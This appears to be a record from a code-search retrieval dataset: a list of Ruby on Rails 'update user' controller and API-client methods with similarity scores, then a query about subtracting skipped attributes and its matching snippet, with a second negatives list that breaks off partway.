{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end", "def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end", "def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end", "def put user_id, options={}, headers={}\n @connection.put \"users/#{user_id}.json\", options, headers\n end", "def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end", "def update\n user = User.find_by(id: params[:id])\n user.update(user_params)\n render json: user\n end", "def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end", "def update\n if user.update(user_params)\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end", "def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end", "def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend", "def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end", "def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end", "def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.save\n render json:@user\n end", "def update\n user = find_user\n user.update!(user_params)\n render json: user\n end", "def update\n user = User.find(params[:id])\n\n # Use update with user_params to do a mass-assignment update and save. \n if user.update_attributes(user_params)\n render json: user\n else \n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update_user(user, options = {})\n put \"/users/#{user}\", options\n end", "def update_user(options)\n patch(\"/user\", options, 3)\n end", "def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end", "def update\n begin\n user = User.find(params[:user_id])\n if user.update(user_params)\n render json: { users: user }, status: :ok\n else\n render json: { errors: user.errors.messages }, status: 422\n end\n rescue => e\n render json: { errors: e.message }, status: 404\n end\n end", "def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n render json:@user\n else\n render json: { error: {code: 404, message: 'Invalid user' }}, status: :not_found\n end\n end", "def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors\n end\n end", "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update(id, params = {})\n request(:put, \"/users/#{id}\", body: params)\n end", "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: {error: \"Could not update user\"}\n end\n end", "def update\n \trespond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t \t\n end", "def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user\n else\n render json: user.errors.full_messages\n end\n end", "def update\n if @user.update(user_params)\n render json: @user, status: 200\n else\n render json: @user.errors, status: 422\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @user.update(user_params)\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end", "def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end", "def update\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend", "def update\n @user.update(user_params_update)\n json_response(@user)\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n if @user.update(user_params)\n render json: @user, status: :ok, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if user.update(user_params)\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend", "def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend", "def update_user\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status :unprocessable_entity\n end\n end", "def update\n user = User.find(params[:id])\n render json: { status: 200, msg: 'User details have been updated.' } if user.update(user_params)\n end", "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end", "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end", "def update\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'V1::User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end", "def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update \n @current_user.update(user_params)\n render json: @current_user\n end", "def update\n @user = User.find(params[:id])\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = selected_user\n if @user.update(users_params)\n render 'api/users/show'\n else\n render json: @user.errors.full_messages, status: 422\n end\n end", "def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.json { head :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end", "def update\n respond_to do |format|\n if @user.update(form_params)\n format.json { render json: { users: @user }, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit(id, options={})\n request(:put, \"/users/#{id}.json\", default_params(options))\n end", "def update_user(id, accountId, model) path = \"/api/v2/accounts/#{accountId}/users/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end", "def update\n user = User.find(params[:id])\n\n user.attributes = {\n name: params[:name]\n }\n\n user_save user\n end", "def update\n @user = current_org.users.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user.update(user_params)\n respond_with @user\n end", "def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: {\n status: 'OK',\n msg: 'User details have been updated.',\n error: 'nil'\n }, status: :accepted\n else\n not_good(406)\n end\n end", "def update\n respond_to do |format|\n if @v1_user.update(v1_user_params)\n format.html { redirect_to @v1_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_user }\n else\n format.html { render :edit }\n format.json { render json: @v1_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(params[:id])\n authorize @user\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n\t\tif @user.update(users_params)\n \t\tjson_response(@user, \"User Update Successfully.\")\n \telse\n \t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n \tend\n\tend", "def update\n @user = current_user\n if @user.update(update_user_params)\n render 'api/v1/users/show'\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { render action: \"edit\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def update(context, name, should)\n res = context.transport.put_request(context, \"security/users/#{name}\", keys_to_camelcase(should))\n\n context.err(name, res.body) unless res.success?\n end", "def update!(options: {})\n\t\t\tuser = User.perform_request User.api_url(\"users/#{id}\"), :put, options, true\n\n\t\t\tif user\n\t\t\t\toptions.each do |key, value|\n\t\t\t\t\tself.send(\"#{key}=\", user['data'][\"#{key}\"])\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tnil\n\t\t\tend\n\t\tend", "def update\n @user = user.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end", "def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { render :json => @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_name(user_id:, name:)\n path = '/users/{userId}/name'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n if name.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"name\"')\n end\n\n params = {\n name: name,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end", "def update_current_logged_in_user(args = {}) \n id = args['id']\n temp_path = \"/users.json/current\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update_user\n @user = User.find(params[:id])\n @user.update(params[:user])\n redirect \"/users/#{@user.id}\"\nend", "def update\n @api_user = ApiUser.find(params[:id])\n\n if @api_user.update(api_user_params)\n head :no_content\n else\n render json: @api_user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_user\n end", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user.as_json(user: current_user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.update(params[:user])\n end", "def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update \n user = User.where(:id => current_user.user)\n if user.update(user_params)\n render :json => {:user => user }\n else\n render :json => {:error => user.errors.full_messages.first}\n end\nend", "def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @user.update(user_params)\n render json: @user, status: :ok, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes_from_api(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { render_for_api :user, :json => @user }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => t('user.update_success') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status=> :unprocessable_entity }\n end\n end\n end", "def api_v11_users_user_name_put_with_http_info(user_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_users_user_name_put ...\"\n end\n \n # verify the required parameter 'user_name' is set\n fail \"Missing the required parameter 'user_name' when calling api_v11_users_user_name_put\" if user_name.nil?\n \n # resource path\n path = \"/api/v11/users/{userName}\".sub('{format}','json').sub('{' + 'userName' + '}', user_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_users_user_name_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update_user\n user = current_user\n if user.update(update_params)\n render json: { status: { updated: \"Ok\" } }\n else\n render json: user.errors.full_messages\n end\n end", "def update\n @user = User.find(params[:id])\n if @user.update_attributes(user_params)\n redirect_to @user\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\nend", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = ::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"User #{@user.username} successfully updated!\"\n format.html { redirect_to @user }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n user = User.find(params[:id])\n authorize! :update, user\n if user.update_attributes(user_params)\n render :json => {:ok => true, :message => 'successful updated'}, :head => :no_content\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end" ]
[ "0.74114245", "0.73920554", "0.73041475", "0.7254177", "0.7202618", "0.70756376", "0.70535713", "0.7029043", "0.70075685", "0.69883573", "0.6983195", "0.694263", "0.69409895", "0.692315", "0.6909438", "0.687742", "0.68486536", "0.6834162", "0.6821841", "0.6801179", "0.67703044", "0.6763487", "0.6761313", "0.6761313", "0.67482305", "0.67473894", "0.6713073", "0.6703807", "0.6693307", "0.66886777", "0.66886777", "0.66646844", "0.66617274", "0.66572624", "0.6653578", "0.66406506", "0.6625279", "0.66213304", "0.66192704", "0.6614916", "0.6612626", "0.6604333", "0.65851104", "0.65851104", "0.65785134", "0.65615654", "0.65518224", "0.65518224", "0.6549094", "0.6530534", "0.6530534", "0.65275174", "0.6523527", "0.6520384", "0.6520384", "0.6516204", "0.65145653", "0.65104014", "0.6504922", "0.6499594", "0.64987266", "0.64906204", "0.64810187", "0.64798295", "0.64702576", "0.64496434", "0.6436427", "0.6433962", "0.64330167", "0.6428237", "0.6406415", "0.6402615", "0.6399288", "0.63881207", "0.63877773", "0.6353986", "0.63537806", "0.633806", "0.63360107", "0.6334851", "0.632672", "0.63260114", "0.63179153", "0.63173646", "0.6317282", "0.6316377", "0.6316055", "0.63120025", "0.6293317", "0.62857985", "0.6282219", "0.6280316", "0.6264061", "0.62624925", "0.625522", "0.62549126", "0.62547195", "0.625327", "0.625269", "0.6252329", "0.6245382" ]
0.0
-1
subtract attrs_skip from attrs
def ext_attrs(values, attrs_skip = []) result = values.except *attrs_always_skip return result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def skip_name\n @attributes[:skip_name]\n end", "def exclude_attrs(hash, attrs, must_exclude, associations)\n exclude = attrs + associations + must_exclude\n hash.except(*exclude)\n end", "def skipped_attributes\n if model.respond_to?(:skipped_alchemy_resource_attributes)\n model.skipped_alchemy_resource_attributes\n else\n DEFAULT_SKIPPED_ATTRIBUTES\n end\n end", "def should_be_partially_valid_except(*attrs)\n invalid_attributes = []\n all_attrs = self.instance_variables.map {|iv| iv.gsub('@','')}\n # use the key names from @attributes for ActiveRecord objects\n all_attrs = self.attributes.keys if self.instance_variables.include?('attributes')\n attrs.each do |attr_name|\n invalid_attributes << attr_name.to_s\n end\n should_be_valid_on = all_attrs - invalid_attributes\n should_be_partially_valid_on(should_be_valid_on)\n end", "def removed_attributes\n operand.header - header\n end", "def skip!(skip = nil)\n mutate(:skip, skip)\n end", "def remove_attr(name); end", "def remove_attr(name); end", "def skipped_attributes(klass)\n if klass.const_defined?(BLACKLISTED_ATTRIBUTES)\n attrs = klass.const_get(BLACKLISTED_ATTRIBUTES)\n if attrs.include? klass_primary_key(klass)\n raise OptAR::Errors::PrimaryKeyBlacklistedError\n end\n attrs\n else\n []\n end\n end", "def filter_skip_attributes_from_payload(obj)\n if obj.is_a? Hash\n obj.map do |k, v|\n if k == \"skip_attribute\" && v\n return ''\n else\n obj[k] = filter_skip_attributes_from_payload(v)\n if obj[k].blank?\n obj.delete(k)\n end\n end\n end\n elsif obj.is_a? Array\n obj.each_with_index do |o, i|\n obj[i] = filter_skip_attributes_from_payload(o)\n end\n end\n return obj\n end", "def ignoring(*attributes)\n attributes.each do |attr_name|\n @_attributes.delete(attr_name.to_sym)\n end\n end", "def strip_attributes(doc)\n attrs = %w[data-tralics-id data-label data-number data-chapter\n role aria-readonly target]\n doc.tap do\n attrs.each do |attr|\n doc.xpath(\"//@#{attr}\").remove\n end\n end\n end", "def omitted_attributes\n (self.class.replicate_omit_attributes + @replicate_opts[:omit]).uniq\n end", "def - (name) remove_attribute name end", "def skip_email\n @attributes[:skip_email]\n end", "def skips_pre \n @skips_pre\n end", "def prune_extra_attributes(request_body, existing_attributes) \n request_body.each do |request_attribute, request_value|\n request_body.delete request_attribute unless existing_attributes.include?(request_attribute)\n end\n return request_body\n end", "def strip_attributes(attrs_to_check)\n attrs_to_check = model.attribute_names if @attrs_to_manage[:strip] == :all\n\n attrs_to_check.each do |attribute|\n value = strip_attribute(attribute)\n model[attribute] = value if value\n end\n end", "def -(*args)\n if args.first.is_a?(Numeric)\n get_model_attr - args.first\n else\n remove_keys!(args)\n end\n end", "def attributes_without_encrypted_values\n attributes_with_decrypted_values.except *eager_load_conductors.map(&:encrypted_attribute)\n end", "def ignore_attributes\n read_inheritable_attribute(:attr_ignore) || []\n end", "def update_skipped_attributes\n # Skip over this if nothing's being skipped.\n skipped_changed = changed_attributes.keys & draftsman_options[:skip]\n return true unless skipped_changed.present?\n\n keys = self.attributes.keys.select { |key| draftsman_options[:skip].include?(key) }\n attrs = {}\n keys.each { |key| attrs[key] = self.send(key) }\n\n self.reload\n self.update(attrs)\n end", "def attributes_no_helpers(attrs)\n\t\t\t@attributes.merge! attrs\n\t\t\tyield self if block_given?\n\t\t\treturn self\n\t\tend", "def trim_attributes(attributes, to_remove)\n to_remove.each { |a| attributes.delete(a) }\n attributes\n end", "def skip\n self[:skip]\n end", "def kwattr_remove(attribute_name, keywords); end", "def tributes *attrs\n if attrs.empty? \n @tributes ||= []\n else \n @tributes = attrs\n super *attrs\n end \n end", "def replicate_omit_attributes(*attribute_names)\n self.replicate_omit_attributes = attribute_names if attribute_names.any?\n @replicate_omit_attributes || superclass.replicate_omit_attributes\n end", "def remove_attr name\n each do |el|\n next unless el.respond_to? :remove_attribute\n el.remove_attribute(name)\n end\n self \n end", "def attribute_difference_from(reference_record)\n excluded_list = Kernel.const_get('Compare::Records::'+ record.class.to_s.upcase + \"_EXCLUSIONS\")\n diff_record = record\n Compare::Records._attr_diff(reference_record, diff_record, excluded_list)\n end", "def strip_attributes\n attribute_names().each do |name|\n if self.send(name.to_sym).respond_to?(:strip)\n self.send(\"#{name}=\".to_sym, self.send(name).strip)\n end\n end\n end", "def decorated_attributes(attrs = {})\n attrs.dup\n end", "def attribute_set_subtract(a1, a2)\n a2_ids = a2.map {|a| a['id']}.compact\n\n a1.select {|a| a['id'] && !a2_ids.include?(a['id'])}\n end", "def skip_validation_for(*args)\n args.each { |attr| send(\"skip_#{attr}_validation=\", true) }\n end", "def skips_pre #:nodoc:\n @skips_pre\n end", "def subtract_in_place(a)\n if ((a).nil?)\n return\n end\n # for all words of 'a', turn off corresponding bits of 'this'\n i = 0\n while i < @bits.attr_length && i < a.attr_bits.attr_length\n @bits[i] &= ~a.attr_bits[i]\n i += 1\n end\n end", "def ignore_attributes(*attributes)\r\n @@ignored_attributes[name] = attributes.flatten.map(&:to_s)\r\n end", "def exclude(*names)\n self.class.new(prefix, attributes, excluded.dup.concat(names))\n end", "def validate_exclusion_of(attr); end", "def model_attrs(except: [])\n attrs = %i(\n name starts_at duration budget fb_ad_account_id interests location\n age_min age_max\n )\n attrs << :publication_id unless [except].flatten.include?(:publication_id)\n attributes.slice(*attrs)\n end", "def safe_attrs(attrs, role=:default)\n raise(ArgumentError, \"Missing #{model_class} attributes. Got #{attrs.inspect}\") unless attrs\n attrs.slice(*model_class.accessible_attributes(role).to_a)\n end", "def attributes\n (node.attributes['attrs'] || \"\").split(/\\s*,\\s*/).where_not.blank?\n end", "def except(attributes_to_exclude)\n attributes_to_exclude = [attributes_to_exclude] unless attributes_to_exclude.kind_of? Array\n attributes_to_exclude.map! { |a| a.to_s.singularize }\n attributes.select { |a| !attributes_to_exclude.include?(a.id) }\n end", "def remove_attribute(name); end", "def remove_attribute(name); end", "def remove_attribute(name); end", "def remove_attribute(name); end", "def readonly_attributes(*attrs)\n @readonly_attributes ||= [:created_at, :updated_at, :completed_at]\n if attrs.any?\n @readonly_attributes.map!(&:to_sym).concat(attrs).uniq!\n setup_attributes(@readonly_attributes, true)\n end\n @readonly_attributes\n end", "def remove_attribute(to_remove)\n index = 0\n if not to_remove.kind_of? Fixnum\n index = find_index_of_attribute(to_remove)\n else\n index = to_remove\n end\n # binding.pry\n\n if not index.nil?\n @attributes.delete_at index\n @data.each do |d|\n d.delete to_remove\n end\n end\n self\n end", "def attr_unsearchable(*args)\n if table_exists?\n opts = args.extract_options!\n args.flatten.each do |attr|\n attr = attr.to_s\n raise(ArgumentError, \"No persisted attribute (column) named #{attr} in #{self}\") unless self.columns_hash.has_key?(attr)\n self._metasearch_exclude_attributes = self._metasearch_exclude_attributes.merge(\n attr => {\n :if => opts[:if]\n }\n )\n end\n end\n end", "def scrub_attributes(node)\n node.attribute_nodes.each do |attr_node|\n attr_name = if attr_node.namespace\n \"#{attr_node.namespace.prefix}:#{attr_node.node_name}\"\n else\n attr_node.node_name\n end\n\n if DATA_ATTRIBUTE_NAME.match?(attr_name)\n next\n end\n\n unless SafeList::ALLOWED_ATTRIBUTES.include?(attr_name)\n attr_node.remove\n next\n end\n\n if SafeList::ATTR_VAL_IS_URI.include?(attr_name)\n next if scrub_uri_attribute(attr_node)\n end\n\n if SafeList::SVG_ATTR_VAL_ALLOWS_REF.include?(attr_name)\n scrub_attribute_that_allows_local_ref(attr_node)\n end\n\n next unless SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) &&\n attr_name == \"xlink:href\" &&\n attr_node.value =~ /^\\s*[^#\\s].*/m\n\n attr_node.remove\n next\n end\n\n scrub_css_attribute(node)\n\n node.attribute_nodes.each do |attr_node|\n if attr_node.value !~ /[^[:space:]]/ && attr_node.name !~ DATA_ATTRIBUTE_NAME\n node.remove_attribute(attr_node.name)\n end\n end\n\n force_correct_attribute_escaping!(node)\n end", "def columns_without_attr_ignore\n unless defined?(@columns) && @columns\n @columns = columns_with_attr_ignore\n @columns.reject! { |column| ignore_attributes.include?(column.name) }\n end\n \n @columns\n end", "def drop_extra_params!(form, params)\n form_data = form['properties']['data']['properties']\n allowed_params = form_data['attributes']['properties'].keys rescue nil\n params['data'].fetch('attributes', {}).slice!(*allowed_params) if allowed_params.present?\n end", "def skip\n @skip = true\n end", "def clear_original_attributes(options = {})\n if !(options[:only] or options[:except]) || !@original_attributes\n return @original_attributes = nil\n end\n \n attributes_to_clear = if options[:only]\n Array(options[:only]).map(&:to_s)\n elsif options[:except]\n except = Array(options[:except]).map(&:to_s)\n self.class.column_names.reject { |c| except.include?(c) }\n end\n \n attributes_to_clear.each do |attribute|\n @original_attributes[attribute] = @attributes[attribute]\n end\n end", "def attributes_for_remote\n ignored = self.class.ignored_attributes\n\n entity.attributes.reject do |a, _|\n ignored.include?(a) || a.end_with?('_count', '_id', '_cache')\n end\n end", "def uncopied_attributes\n superclass.uncopied_attributes | [:chart_code, :number, :effective_date]\n end", "def attributes\n Address.attribute_list.index_with { |_attr| nil }\n end", "def skip_company\n @attributes[:skip_company]\n end", "def clean_attrs\n data = node.to_hash\n %w(run_list recipes roles).each { |k| data.delete(k) }\n data\n end", "def original_attributes\n @record.attributes.symbolize_keys.select do |(attr, _)|\n !%i(created_at updated_at).include?(attr)\n end\n end", "def row_skipped_columns\n ManifestItemDecorator.send(__method__)\n end", "def distance_to_previous\n @attrs['DistanceToPrev']\n end", "def other_attrs\n @other_attrs ||= {}\n end", "def skip(skip = nil)\n set_option(:skip, skip)\n end", "def off_tags res, item\n attr_mask = item.turn_off\n return if attr_mask.zero?\n\n @attr_tags.reverse_each do |tag|\n if attr_mask & tag.bit != 0 then\n @in_tt -= 1 if tt? tag\n res << annotate(tag.off)\n end\n end\n end", "def attr_without_feed_prefix (attr_sym)\n self[attr_sym].slice feed.prefix if self.gtfs_cols_with_prefix.include? (attr_sym)\n end", "def compute_skips(pattern)\n \n end", "def clear(opts={})\n attribs = normalize_attribute_list opts[:attributes]\n except = opts[:except]\n if attribs\n if opts[:index]\n idx = opts[:index]\n values = @attributes[idx]\n if values\n attrs = except ? (values.keys-attribs) : attribs\n attrs.each {|a| values.delete(a)}\n @attributes[idx] = nil if values.empty?\n end\n else\n @attributes.each_with_index do |values,idx|\n if values\n attrs = except ? (values.keys-attribs) : attribs\n attrs.each {|a| values.delete(a)}\n @attributes[idx] = nil if values.empty?\n end\n end\n end\n while @attributes[-1].nil? && @attributes.size > 0 do\n @attributes.pop\n end\n else\n initialize\n end\n end", "def except_attributes\n [].freeze\n end", "def attribute_unmask_last(attr, *args)\n args[0] ||= 4\n args[1] ||= 'x'\n content = send(attr)\n return content unless content && content.length > args[0]\n args[1] * (content.length - args[0]) + content[(args[0] * -1)..-1]\n end", "def non_empty_attr\n attributes.reject {|x,y| x == 'id' or y.blank?}\n end", "def replicate_omit_attributes=(attribute_names)\n @replicate_omit_attributes = attribute_names\n end", "def 